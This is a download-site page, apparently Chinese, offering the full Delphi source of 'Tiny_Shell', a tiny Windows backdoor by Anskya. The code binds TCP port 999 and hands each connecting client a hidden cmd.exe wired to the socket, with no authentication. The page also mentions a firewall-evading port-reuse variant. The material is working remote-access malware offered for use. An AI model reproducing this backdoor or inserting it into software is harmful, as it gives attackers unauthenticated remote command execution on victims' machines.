⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tiny_shell.dpr

📁 Delphi Tiny_Shell 3k (普通版本+端口复用穿防火墙) Tiny_Shell 0.1 (普通版本)By Anskya 某天精神好了一点的时候写的,使用KOL+删除多余资源
💻 DPR
字号:
{
 Delphi Tiny_Shell V 0.l By Anskya
 Web:http://Www.Anskya.Net
 Email:Anskya@Gmail.com
 Now:03.17.2005
 USE KOL+PEDIY+FSG Pack=3k    ~^_^~
}

program Tiny_Shell;

uses
 Windows, Winsock2, Winsock;

const
 Port = 999;

var
 WSAData: TWSAData;
 FDSet: TFDSet;
 SockAddrIn: TSockAddrIn;
 ServerSocket: TSocket;
 Connected: PInteger;
 ThreadID: Cardinal;
 szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
 hSocket: PInteger;
 si: TStartupInfo;
 pi: TProcessInformation;
begin
 hSocket := Parameter;
 ZeroMemory(@si, SizeOf(si));
 si.cb := SizeOf(si);
 si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
 si.wShowWindow := SW_HIDE;
 si.hStdInput := hSocket^;
 si.hStdOutput := hSocket^;
 si.hStdError := hSocket^;
 CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
 WaitForSingleObject(pi.hProcess, INFINITE);
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
 Shutdown(hSocket^, SD_BOTH);
 CloseSocket(hSocket^);
 Dispose(hSocket);
 Result := 0;
end;

begin
 WSAStartUp(MakeWord(1, 1), WSAData);
 ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_addr.s_addr := INADDR_ANY;
 SockAddrIn.sin_port := htons(Port);
 Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
 Listen(ServerSocket, 1);
 GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
 while True do
  begin
   FD_Zero(FDSet);
   FD_Set(ServerSocket, FDSet);
   Select(0, @FDSet, nil, nil, nil);
   if FD_IsSet(ServerSocket, FDSet) then
    begin
     New(Connected);
     Connected^ := Accept(ServerSocket, nil, nil);
     if Connected^ <> SOCKET_ERROR then
      BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
     else
      Break;
    end;
  end;
 WSACleanup;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -